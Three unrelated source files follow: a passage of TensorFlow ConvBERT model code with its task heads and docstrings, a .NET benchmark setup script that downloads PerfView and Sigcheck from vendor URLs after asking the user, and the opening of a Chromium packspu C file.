# We create a 3D attention mask from a 2D tensor mask.
# Sizes are [batch_size, 1, 1, to_seq_length]
# So we can broadcast to [batch_size, num_heads, from_seq_length, to_seq_length]
# this attention mask is more simple than the triangular masking of causal attention
# used in OpenAI GPT, we just need to prepare the broadcast dimension here.
extended_attention_mask = tf.reshape(attention_mask, (input_shape[0], 1, 1, input_shape[1]))
# Since attention_mask is 1.0 for positions we want to attend and 0.0 for
# masked positions, this operation will create a tensor which is 0.0 for
# positions we want to attend and -10000.0 for masked positions.
# Since we are adding it to the raw scores before the softmax, this is
# effectively the same as removing these entirely.
extended_attention_mask = tf.cast(extended_attention_mask, dtype)
extended_attention_mask = (1.0 - extended_attention_mask) * -10000.0
return extended_attention_mask
def get_head_mask(self, head_mask):
if head_mask is not None:
raise NotImplementedError
else:
head_mask = [None] * self.config.num_hidden_layers
return head_mask
def call(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
training=False,
**kwargs,
):
inputs = input_processing(
func=self.call,
config=self.config,
input_ids=input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
training=training,
kwargs_call=kwargs,
)
if inputs["input_ids"] is not None and inputs["inputs_embeds"] is not None:
raise ValueError("You cannot specify both input_ids and inputs_embeds at the same time")
elif inputs["input_ids"] is not None:
input_shape = shape_list(inputs["input_ids"])
elif inputs["inputs_embeds"] is not None:
input_shape = shape_list(inputs["inputs_embeds"])[:-1]
else:
raise ValueError("You have to specify either input_ids or inputs_embeds")
if inputs["attention_mask"] is None:
inputs["attention_mask"] = tf.fill(input_shape, 1)
if inputs["token_type_ids"] is None:
inputs["token_type_ids"] = tf.fill(input_shape, 0)
hidden_states = self.embeddings(
inputs["input_ids"],
inputs["position_ids"],
inputs["token_type_ids"],
inputs["inputs_embeds"],
training=inputs["training"],
)
extended_attention_mask = self.get_extended_attention_mask(
inputs["attention_mask"], input_shape, hidden_states.dtype
)
inputs["head_mask"] = self.get_head_mask(inputs["head_mask"])
if hasattr(self, "embeddings_project"):
hidden_states = self.embeddings_project(hidden_states, training=inputs["training"])
hidden_states = self.encoder(
hidden_states,
extended_attention_mask,
inputs["head_mask"],
inputs["output_attentions"],
inputs["output_hidden_states"],
inputs["return_dict"],
training=inputs["training"],
)
return hidden_states
class TFConvBertPreTrainedModel(TFPreTrainedModel):
"""
An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained
models.
"""
config_class = ConvBertConfig
base_model_prefix = "convbert"
CONVBERT_START_DOCSTRING = r"""
This model inherits from [`TFPreTrainedModel`]. Check the superclass documentation for the
generic methods the library implements for all its model (such as downloading or saving, resizing the input
embeddings, pruning heads etc.)
This model is also a [tf.keras.Model](https://www.tensorflow.org/api_docs/python/tf/keras/Model) subclass. Use
it as a regular TF 2.0 Keras Model and refer to the TF 2.0 documentation for all matter related to general usage
and behavior.
<Tip>
TF 2.0 models accepts two formats as inputs:
- having all inputs as keyword arguments (like PyTorch models), or
- having all inputs as a list, tuple or dict in the first positional arguments.
This second option is useful when using [`tf.keras.Model.fit`] method which currently requires having all
the tensors in the first argument of the model call function: `model(inputs)`.
If you choose this second option, there are three possibilities you can use to gather all the input Tensors in
the first positional argument :
- a single Tensor with `input_ids` only and nothing else: `model(inputs_ids)`
- a list of varying length with one or several input Tensors IN THE ORDER given in the docstring:
`model([input_ids, attention_mask])` or `model([input_ids, attention_mask, token_type_ids])`
- a dictionary with one or several input Tensors associated to the input names given in the docstring:
`model({"input_ids": input_ids, "token_type_ids": token_type_ids})`
</Tip>
Args:
config ([`ConvBertConfig`]): Model configuration class with all the parameters of the model.
Initializing with a config file does not load the weights associated with the model, only the
configuration. Check out the [`~PreTrainedModel.from_pretrained`] method to load the model
weights.
"""
CONVBERT_INPUTS_DOCSTRING = r"""
Args:
input_ids (`Numpy array` or `tf.Tensor` of shape `({0})`):
Indices of input sequence tokens in the vocabulary.
Indices can be obtained using [`ConvBertTokenizer`]. See
[`PreTrainedTokenizer.__call__`] and [`PreTrainedTokenizer.encode`] for
details.
[What are input IDs?](../glossary#input-ids)
attention_mask (`Numpy array` or `tf.Tensor` of shape `({0})`, *optional*):
Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
[What are attention masks?](../glossary#attention-mask)
token_type_ids (`Numpy array` or `tf.Tensor` of shape `({0})`, *optional*):
Segment token indices to indicate first and second portions of the inputs. Indices are selected in `[0, 1]`:
- 0 corresponds to a *sentence A* token,
- 1 corresponds to a *sentence B* token.
[What are token type IDs?](../glossary#token-type-ids)
position_ids (`Numpy array` or `tf.Tensor` of shape `({0})`, *optional*):
Indices of positions of each input sequence tokens in the position embeddings. Selected in the range `[0, config.max_position_embeddings - 1]`.
[What are position IDs?](../glossary#position-ids)
head_mask (`Numpy array` or `tf.Tensor` of shape `(num_heads,)` or `(num_layers, num_heads)`, *optional*):
Mask to nullify selected heads of the self-attention modules. Mask values selected in `[0, 1]`:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
inputs_embeds (`tf.Tensor` of shape `({0}, hidden_size)`, *optional*):
Optionally, instead of passing `input_ids` you can choose to directly pass an embedded representation.
This is useful if you want more control over how to convert `input_ids` indices into associated
vectors than the model's internal embedding lookup matrix.
output_attentions (`bool`, *optional*):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under returned
tensors for more detail. This argument can be used only in eager mode, in graph mode the value in the
config will be used instead.
output_hidden_states (`bool`, *optional*):
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors for
more detail. This argument can be used only in eager mode, in graph mode the value in the config will be
used instead.
return_dict (`bool`, *optional*):
Whether or not to return a [`~file_utils.ModelOutput`] instead of a plain tuple. This
argument can be used in eager mode, in graph mode the value will always be set to True.
training (`bool`, *optional*, defaults to `False`):
Whether or not to use the model in training mode (some modules like dropout modules have different
behaviors between training and evaluation).
"""
@add_start_docstrings(
"The bare ConvBERT Model transformer outputting raw hidden-states without any specific head on top.",
CONVBERT_START_DOCSTRING,
)
class TFConvBertModel(TFConvBertPreTrainedModel):
def __init__(self, config, *inputs, **kwargs):
super().__init__(config, *inputs, **kwargs)
self.convbert = TFConvBertMainLayer(config, name="convbert")
@add_start_docstrings_to_model_forward(CONVBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
processor_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=TFBaseModelOutput,
config_class=_CONFIG_FOR_DOC,
)
def call(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
training=False,
**kwargs,
):
inputs = input_processing(
func=self.call,
config=self.config,
input_ids=input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
training=training,
kwargs_call=kwargs,
)
outputs = self.convbert(
input_ids=inputs["input_ids"],
attention_mask=inputs["attention_mask"],
token_type_ids=inputs["token_type_ids"],
position_ids=inputs["position_ids"],
head_mask=inputs["head_mask"],
inputs_embeds=inputs["inputs_embeds"],
output_attentions=inputs["output_attentions"],
output_hidden_states=inputs["output_hidden_states"],
return_dict=inputs["return_dict"],
training=inputs["training"],
)
return outputs
def serving_output(self, output):
hs = tf.convert_to_tensor(output.hidden_states) if self.config.output_hidden_states else None
attns = tf.convert_to_tensor(output.attentions) if self.config.output_attentions else None
return TFBaseModelOutput(last_hidden_state=output.last_hidden_state, hidden_states=hs, attentions=attns)
class TFConvBertMaskedLMHead(tf.keras.layers.Layer):
def __init__(self, config, input_embeddings, **kwargs):
super().__init__(**kwargs)
self.vocab_size = config.vocab_size
self.embedding_size = config.embedding_size
self.input_embeddings = input_embeddings
def build(self, input_shape):
self.bias = self.add_weight(shape=(self.vocab_size,), initializer="zeros", trainable=True, name="bias")
super().build(input_shape)
def get_output_embeddings(self):
return self.input_embeddings
def set_output_embeddings(self, value):
self.input_embeddings.weight = value
self.input_embeddings.vocab_size = shape_list(value)[0]
def get_bias(self):
return {"bias": self.bias}
def set_bias(self, value):
self.bias = value["bias"]
self.vocab_size = shape_list(value["bias"])[0]
def call(self, hidden_states):
seq_length = shape_list(tensor=hidden_states)[1]
hidden_states = tf.reshape(tensor=hidden_states, shape=[-1, self.embedding_size])
hidden_states = tf.matmul(a=hidden_states, b=self.input_embeddings.weight, transpose_b=True)
hidden_states = tf.reshape(tensor=hidden_states, shape=[-1, seq_length, self.vocab_size])
hidden_states = tf.nn.bias_add(value=hidden_states, bias=self.bias)
return hidden_states
class TFConvBertGeneratorPredictions(tf.keras.layers.Layer):
def __init__(self, config, **kwargs):
super().__init__(**kwargs)
self.LayerNorm = tf.keras.layers.LayerNormalization(epsilon=config.layer_norm_eps, name="LayerNorm")
self.dense = tf.keras.layers.Dense(config.embedding_size, name="dense")
def call(self, generator_hidden_states, training=False):
hidden_states = self.dense(generator_hidden_states)
hidden_states = get_tf_activation("gelu")(hidden_states)
hidden_states = self.LayerNorm(hidden_states)
return hidden_states
@add_start_docstrings("""ConvBERT Model with a `language modeling` head on top. """, CONVBERT_START_DOCSTRING)
class TFConvBertForMaskedLM(TFConvBertPreTrainedModel, TFMaskedLanguageModelingLoss):
def __init__(self, config, *inputs, **kwargs):
super().__init__(config, **kwargs)
self.vocab_size = config.vocab_size
self.convbert = TFConvBertMainLayer(config, name="convbert")
self.generator_predictions = TFConvBertGeneratorPredictions(config, name="generator_predictions")
if isinstance(config.hidden_act, str):
self.activation = get_tf_activation(config.hidden_act)
else:
self.activation = config.hidden_act
self.generator_lm_head = TFConvBertMaskedLMHead(config, self.convbert.embeddings, name="generator_lm_head")
def get_lm_head(self):
return self.generator_lm_head
def get_prefix_bias_name(self):
return self.name + "/" + self.generator_lm_head.name
@add_start_docstrings_to_model_forward(CONVBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
processor_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=TFMaskedLMOutput,
config_class=_CONFIG_FOR_DOC,
)
def call(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
labels=None,
training=False,
**kwargs,
):
r"""
labels (`tf.Tensor` of shape `(batch_size, sequence_length)`, *optional*):
Labels for computing the masked language modeling loss. Indices should be in `[-100, 0, ..., config.vocab_size]` (see `input_ids` docstring) Tokens with indices set to `-100` are ignored
(masked), the loss is only computed for the tokens with labels in `[0, ..., config.vocab_size]`
"""
inputs = input_processing(
func=self.call,
config=self.config,
input_ids=input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
labels=labels,
training=training,
kwargs_call=kwargs,
)
generator_hidden_states = self.convbert(
input_ids=inputs["input_ids"],
attention_mask=inputs["attention_mask"],
token_type_ids=inputs["token_type_ids"],
position_ids=inputs["position_ids"],
head_mask=inputs["head_mask"],
inputs_embeds=inputs["inputs_embeds"],
output_attentions=inputs["output_attentions"],
output_hidden_states=inputs["output_hidden_states"],
return_dict=inputs["return_dict"],
training=inputs["training"],
)
generator_sequence_output = generator_hidden_states[0]
prediction_scores = self.generator_predictions(generator_sequence_output, training=inputs["training"])
prediction_scores = self.generator_lm_head(prediction_scores, training=inputs["training"])
loss = None if inputs["labels"] is None else self.compute_loss(inputs["labels"], prediction_scores)
if not inputs["return_dict"]:
output = (prediction_scores,) + generator_hidden_states[1:]
return ((loss,) + output) if loss is not None else output
return TFMaskedLMOutput(
loss=loss,
logits=prediction_scores,
hidden_states=generator_hidden_states.hidden_states,
attentions=generator_hidden_states.attentions,
)
# Copied from transformers.models.bert.modeling_tf_bert.TFBertForMaskedLM.serving_output
def serving_output(self, output):
hs = tf.convert_to_tensor(output.hidden_states) if self.config.output_hidden_states else None
attns = tf.convert_to_tensor(output.attentions) if self.config.output_attentions else None
return TFMaskedLMOutput(logits=output.logits, hidden_states=hs, attentions=attns)
class TFConvBertClassificationHead(tf.keras.layers.Layer):
"""Head for sentence-level classification tasks."""
def __init__(self, config, **kwargs):
super().__init__(**kwargs)
self.dense = tf.keras.layers.Dense(
config.hidden_size, kernel_initializer=get_initializer(config.initializer_range), name="dense"
)
classifier_dropout = (
config.classifier_dropout if config.classifier_dropout is not None else config.hidden_dropout_prob
)
self.dropout = tf.keras.layers.Dropout(classifier_dropout)
self.out_proj = tf.keras.layers.Dense(
config.num_labels, kernel_initializer=get_initializer(config.initializer_range), name="out_proj"
)
self.config = config
def call(self, hidden_states, **kwargs):
x = hidden_states[:, 0, :] # take <s> token (equiv. to [CLS])
x = self.dropout(x)
x = self.dense(x)
x = get_tf_activation(self.config.hidden_act)(x)
x = self.dropout(x)
x = self.out_proj(x)
return x
@add_start_docstrings(
"""
ConvBERT Model transformer with a sequence classification/regression head on top e.g., for GLUE tasks.
""",
CONVBERT_START_DOCSTRING,
)
class TFConvBertForSequenceClassification(TFConvBertPreTrainedModel, TFSequenceClassificationLoss):
def __init__(self, config, *inputs, **kwargs):
super().__init__(config, *inputs, **kwargs)
self.num_labels = config.num_labels
self.convbert = TFConvBertMainLayer(config, name="convbert")
self.classifier = TFConvBertClassificationHead(config, name="classifier")
@add_start_docstrings_to_model_forward(CONVBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
processor_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=TFSequenceClassifierOutput,
config_class=_CONFIG_FOR_DOC,
)
def call(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
labels=None,
training=False,
**kwargs,
):
r"""
labels (`tf.Tensor` of shape `(batch_size,)`, *optional*):
Labels for computing the sequence classification/regression loss. Indices should be in `[0, ..., config.num_labels - 1]`. If `config.num_labels == 1` a regression loss is computed (Mean-Square loss),
If `config.num_labels > 1` a classification loss is computed (Cross-Entropy).
"""
inputs = input_processing(
func=self.call,
config=self.config,
input_ids=input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
labels=labels,
training=training,
kwargs_call=kwargs,
)
outputs = self.convbert(
inputs["input_ids"],
attention_mask=inputs["attention_mask"],
token_type_ids=inputs["token_type_ids"],
position_ids=inputs["position_ids"],
head_mask=inputs["head_mask"],
inputs_embeds=inputs["inputs_embeds"],
output_attentions=inputs["output_attentions"],
output_hidden_states=inputs["output_hidden_states"],
return_dict=inputs["return_dict"],
training=inputs["training"],
)
logits = self.classifier(outputs[0], training=inputs["training"])
loss = None if inputs["labels"] is None else self.compute_loss(inputs["labels"], logits)
if not inputs["return_dict"]:
output = (logits,) + outputs[1:]
return ((loss,) + output) if loss is not None else output
return TFSequenceClassifierOutput(
loss=loss,
logits=logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
def serving_output(self, output):
hs = tf.convert_to_tensor(output.hidden_states) if self.config.output_hidden_states else None
attns = tf.convert_to_tensor(output.attentions) if self.config.output_attentions else None
return TFSequenceClassifierOutput(logits=output.logits, hidden_states=hs, attentions=attns)
@add_start_docstrings(
"""
ConvBERT Model with a multiple choice classification head on top (a linear layer on top of the pooled output and a
softmax) e.g. for RocStories/SWAG tasks.
""",
CONVBERT_START_DOCSTRING,
)
class TFConvBertForMultipleChoice(TFConvBertPreTrainedModel, TFMultipleChoiceLoss):
def __init__(self, config, *inputs, **kwargs):
super().__init__(config, *inputs, **kwargs)
self.convbert = TFConvBertMainLayer(config, name="convbert")
self.sequence_summary = TFSequenceSummary(
config, initializer_range=config.initializer_range, name="sequence_summary"
)
self.classifier = tf.keras.layers.Dense(
1, kernel_initializer=get_initializer(config.initializer_range), name="classifier"
)
@property
def dummy_inputs(self):
"""
Dummy inputs to build the network.
Returns:
tf.Tensor with dummy inputs
"""
return {"input_ids": tf.convert_to_tensor(MULTIPLE_CHOICE_DUMMY_INPUTS)}
@add_start_docstrings_to_model_forward(
CONVBERT_INPUTS_DOCSTRING.format("batch_size, num_choices, sequence_length")
)
@add_code_sample_docstrings(
processor_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=TFMultipleChoiceModelOutput,
config_class=_CONFIG_FOR_DOC,
)
def call(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
labels=None,
training=False,
**kwargs,
):
r"""
labels (`tf.Tensor` of shape `(batch_size,)`, *optional*):
Labels for computing the multiple choice classification loss. Indices should be in `[0, ..., num_choices]` where `num_choices` is the size of the second dimension of the input tensors. (See
`input_ids` above)
"""
inputs = input_processing(
func=self.call,
config=self.config,
input_ids=input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
labels=labels,
training=training,
kwargs_call=kwargs,
)
if inputs["input_ids"] is not None:
num_choices = shape_list(inputs["input_ids"])[1]
seq_length = shape_list(inputs["input_ids"])[2]
else:
num_choices = shape_list(inputs["inputs_embeds"])[1]
seq_length = shape_list(inputs["inputs_embeds"])[2]
flat_input_ids = tf.reshape(inputs["input_ids"], (-1, seq_length)) if inputs["input_ids"] is not None else None
flat_attention_mask = (
tf.reshape(inputs["attention_mask"], (-1, seq_length)) if inputs["attention_mask"] is not None else None
)
flat_token_type_ids = (
tf.reshape(inputs["token_type_ids"], (-1, seq_length)) if inputs["token_type_ids"] is not None else None
)
flat_position_ids = (
tf.reshape(inputs["position_ids"], (-1, seq_length)) if inputs["position_ids"] is not None else None
)
flat_inputs_embeds = (
tf.reshape(inputs["inputs_embeds"], (-1, seq_length, shape_list(inputs["inputs_embeds"])[3]))
if inputs["inputs_embeds"] is not None
else None
)
outputs = self.convbert(
flat_input_ids,
flat_attention_mask,
flat_token_type_ids,
flat_position_ids,
inputs["head_mask"],
flat_inputs_embeds,
inputs["output_attentions"],
inputs["output_hidden_states"],
return_dict=inputs["return_dict"],
training=inputs["training"],
)
logits = self.sequence_summary(outputs[0], training=inputs["training"])
logits = self.classifier(logits)
reshaped_logits = tf.reshape(logits, (-1, num_choices))
loss = None if inputs["labels"] is None else self.compute_loss(inputs["labels"], reshaped_logits)
if not inputs["return_dict"]:
output = (reshaped_logits,) + outputs[1:]
return ((loss,) + output) if loss is not None else output
return TFMultipleChoiceModelOutput(
loss=loss,
logits=reshaped_logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@tf.function(
input_signature=[
{
"input_ids": tf.TensorSpec((None, None, None), tf.int32, name="input_ids"),
"attention_mask": tf.TensorSpec((None, None, None), tf.int32, name="attention_mask"),
"token_type_ids": tf.TensorSpec((None, None, None), tf.int32, name="token_type_ids"),
}
]
)
def serving(self, inputs):
output = self.call(inputs)
return self.serving_output(output)
def serving_output(self, output):
hs = tf.convert_to_tensor(output.hidden_states) if self.config.output_hidden_states else None
attns = tf.convert_to_tensor(output.attentions) if self.config.output_attentions else None
return TFMultipleChoiceModelOutput(logits=output.logits, hidden_states=hs, attentions=attns)
@add_start_docstrings(
"""
ConvBERT Model with a token classification head on top (a linear layer on top of the hidden-states output) e.g. for
Named-Entity-Recognition (NER) tasks.
""",
CONVBERT_START_DOCSTRING,
)
class TFConvBertForTokenClassification(TFConvBertPreTrainedModel, TFTokenClassificationLoss):
def __init__(self, config, *inputs, **kwargs):
super().__init__(config, *inputs, **kwargs)
self.num_labels = config.num_labels
self.convbert = TFConvBertMainLayer(config, name="convbert")
classifier_dropout = (
config.classifier_dropout if config.classifier_dropout is not None else config.hidden_dropout_prob
)
self.dropout = tf.keras.layers.Dropout(classifier_dropout)
self.classifier = tf.keras.layers.Dense(
config.num_labels, kernel_initializer=get_initializer(config.initializer_range), name="classifier"
)
@add_start_docstrings_to_model_forward(CONVBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
processor_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=TFTokenClassifierOutput,
config_class=_CONFIG_FOR_DOC,
)
def call(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
labels=None,
training=False,
**kwargs,
):
r"""
labels (`tf.Tensor` of shape `(batch_size, sequence_length)`, *optional*):
Labels for computing the token classification loss. Indices should be in `[0, ..., config.num_labels - 1]`.
"""
inputs = input_processing(
func=self.call,
config=self.config,
input_ids=input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
labels=labels,
training=training,
kwargs_call=kwargs,
)
outputs = self.convbert(
inputs["input_ids"],
attention_mask=inputs["attention_mask"],
token_type_ids=inputs["token_type_ids"],
position_ids=inputs["position_ids"],
head_mask=inputs["head_mask"],
inputs_embeds=inputs["inputs_embeds"],
output_attentions=inputs["output_attentions"],
output_hidden_states=inputs["output_hidden_states"],
return_dict=inputs["return_dict"],
training=inputs["training"],
)
sequence_output = outputs[0]
sequence_output = self.dropout(sequence_output, training=inputs["training"])
logits = self.classifier(sequence_output)
loss = None if inputs["labels"] is None else self.compute_loss(inputs["labels"], logits)
if not inputs["return_dict"]:
output = (logits,) + outputs[1:]
return ((loss,) + output) if loss is not None else output
return TFTokenClassifierOutput(
loss=loss,
logits=logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
def serving_output(self, output):
hs = tf.convert_to_tensor(output.hidden_states) if self.config.output_hidden_states else None
attns = tf.convert_to_tensor(output.attentions) if self.config.output_attentions else None
return TFTokenClassifierOutput(logits=output.logits, hidden_states=hs, attentions=attns)
@add_start_docstrings(
"""
ConvBERT Model with a span classification head on top for extractive question-answering tasks like SQuAD (a linear
layer on top of the hidden-states output to compute `span start logits` and `span end logits`).
""",
CONVBERT_START_DOCSTRING,
)
class TFConvBertForQuestionAnswering(TFConvBertPreTrainedModel, TFQuestionAnsweringLoss):
def __init__(self, config, *inputs, **kwargs):
super().__init__(config, *inputs, **kwargs)
self.num_labels = config.num_labels
self.convbert = TFConvBertMainLayer(config, name="convbert")
self.qa_outputs = tf.keras.layers.Dense(
config.num_labels, kernel_initializer=get_initializer(config.initializer_range), name="qa_outputs"
)
@add_start_docstrings_to_model_forward(CONVBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
processor_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=TFQuestionAnsweringModelOutput,
config_class=_CONFIG_FOR_DOC,
)
def call(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
start_positions=None,
end_positions=None,
training=False,
**kwargs,
):
r"""
start_positions (`tf.Tensor` of shape `(batch_size,)`, *optional*):
Labels for position (index) of the start of the labelled span for computing the token classification loss.
Positions are clamped to the length of the sequence (`sequence_length`). Position outside of the
sequence are not taken into account for computing the loss.
end_positions (`tf.Tensor` of shape `(batch_size,)`, *optional*):
Labels for position (index) of the end of the labelled span for computing the token classification loss.
Positions are clamped to the length of the sequence (`sequence_length`). Position outside of the
sequence are not taken into account for computing the loss.
"""
inputs = input_processing(
func=self.call,
config=self.config,
input_ids=input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
start_positions=start_positions,
end_positions=end_positions,
training=training,
kwargs_call=kwargs,
)
outputs = self.convbert(
inputs["input_ids"],
attention_mask=inputs["attention_mask"],
token_type_ids=inputs["token_type_ids"],
position_ids=inputs["position_ids"],
head_mask=inputs["head_mask"],
inputs_embeds=inputs["inputs_embeds"],
output_attentions=inputs["output_attentions"],
output_hidden_states=inputs["output_hidden_states"],
return_dict=inputs["return_dict"],
training=inputs["training"],
)
sequence_output = outputs[0]
logits = self.qa_outputs(sequence_output)
start_logits, end_logits = tf.split(logits, 2, axis=-1)
start_logits = tf.squeeze(start_logits, axis=-1)
end_logits = tf.squeeze(end_logits, axis=-1)
loss = None
if inputs["start_positions"] is not None and inputs["end_positions"] is not None:
labels = {"start_position": inputs["start_positions"]}
labels["end_position"] = inputs["end_positions"]
loss = self.compute_loss(labels, (start_logits, end_logits))
if not inputs["return_dict"]:
output = (start_logits, end_logits) + outputs[1:]
return ((loss,) + output) if loss is not None else output
return TFQuestionAnsweringModelOutput(
loss=loss,
start_logits=start_logits,
end_logits=end_logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
def serving_output(self, output):
hs = tf.convert_to_tensor(output.hidden_states) if self.config.output_hidden_states else None
attns = tf.convert_to_tensor(output.attentions) if self.config.output_attentions else None
return TFQuestionAnsweringModelOutput(
start_logits=output.start_logits, end_logits=output.end_logits, hidden_states=hs, attentions=attns
)
|
# Licensed to the .NET Foundation under one or more agreements.
# The .NET Foundation licenses this file to you under the MIT license.
# See the LICENSE file in the project root for more information.
from pathlib import Path
from subprocess import call
from sys import stdout
from typing import cast
from urllib import request
from zipfile import ZipFile
from .command import Command, CommandKind, CommandsMapping
from .config import PERFVIEW_PATH, SIGCHECK64_PATH
from .get_built import get_platform_name, is_arm
from .host_info import write_host_info
from .util import assert_file_exists, ensure_dir, os_is_windows, unlink_if_exists
def setup() -> None:
if os_is_windows():
_download_perfview_and_sigcheck()
# Need sigcheck to do this. Also, since the host info tools are not
# available on ARM, skip when on said architecture.
if not is_arm():
write_host_info()
else:
print(
f"Warning: Detected you are working on {get_platform_name().upper()}. "
"Don't forget to write `bench/host_info.yaml` or the tests will "
"not work."
)
_PERFVIEW_URL = "https://github.com/microsoft/perfview/releases/download/P2.0.52/PerfView.exe"
_SIGCHECK_URL = "https://download.sysinternals.com/files/Sigcheck.zip"
_SIGCHECK_ZIP_PATH = SIGCHECK64_PATH.parent / "Sigcheck.zip"
_SIGCHECK_PARENT_PATH = SIGCHECK64_PATH.parent
_SIGCHECK_EULA_PATH = _SIGCHECK_PARENT_PATH / "sigcheck_eula.txt"
def _download_perfview_and_sigcheck() -> None:
for path in (PERFVIEW_PATH, SIGCHECK64_PATH, _SIGCHECK_ZIP_PATH, _SIGCHECK_EULA_PATH):
unlink_if_exists(path)
ensure_dir(path.parent)
_download(_PERFVIEW_URL, PERFVIEW_PATH)
print("You may optionally download SigCheck now.")
print(
"This will be used as an extra safety check to ensure that "
"coreclr executables match commit hashes specified in benchfiles."
)
stdout.write("Download SigCheck? This will require accepting the license. (Y/N) ")
stdout.flush()
do_sigcheck = _read_y_n()
if do_sigcheck:
_download(_SIGCHECK_URL, _SIGCHECK_ZIP_PATH)
with ZipFile(_SIGCHECK_ZIP_PATH, "r") as zip_file:
# Mypy doesn't realize zip can handle paths, so cast to str
dir_to_extract_to = cast(str, _SIGCHECK_PARENT_PATH)
zip_file.extract(SIGCHECK64_PATH.name, dir_to_extract_to)
zip_file.extract("Eula.txt", dir_to_extract_to)
(_SIGCHECK_PARENT_PATH / "Eula.txt").rename(_SIGCHECK_EULA_PATH)
assert_file_exists(SIGCHECK64_PATH)
_SIGCHECK_ZIP_PATH.unlink()
print("It will now ask you to accept the license:")
call((str(SIGCHECK64_PATH),))
key = "Software\\Sysinternals\\sigcheck\\EulaAccepted"
print(f"To un-accept, remove the registry key {key} and delete {SIGCHECK64_PATH}")
def _download(url: str, path: Path) -> None:
print(f"Downloading {url} to {path}...")
request.urlretrieve(url, path)
def _read_y_n() -> bool:
txt = input().lower()
if txt == "y":
return True
elif txt == "n":
return False
else:
print("Enter Y or N")
return _read_y_n()
SETUP_COMMANDS: CommandsMapping = {
"setup": Command(kind=CommandKind.infra, fn=setup, doc="Perform initial setup.")
}
|
/* Copyright (c) 2001, Stanford University
* All rights reserved
*
* See the file LICENSE.txt for information on redistributing this software.
*/
#include "packspu.h"
#include "cr_mem.h"
#include "cr_packfunctions.h"
#include "cr_string.h"
#include "packspu_proto.h"
#define MAGIC_OFFSET 3000
/*
* Allocate a new ThreadInfo structure, setup a connection to the
* server, allocate/init a packer context, bind this ThreadInfo to
* the calling thread with crSetTSD().
* We'll always call this function at least once even if we're not
* using threads.
*/
ThreadInfo *packspuNewThread( CRthread id )
{
ThreadInfo *thread;
#ifdef CHROMIUM_THREADSAFE
crLockMutex(&_PackMutex);
#else
CRASSERT(pack_spu.numThreads == 0);
#endif
CRASSERT(pack_spu.numThreads < MAX_THREADS);
thread = &(pack_spu.thread[pack_spu.numThreads]);
thread->id = id;
thread->currentContext = NULL;
/* connect to the server */
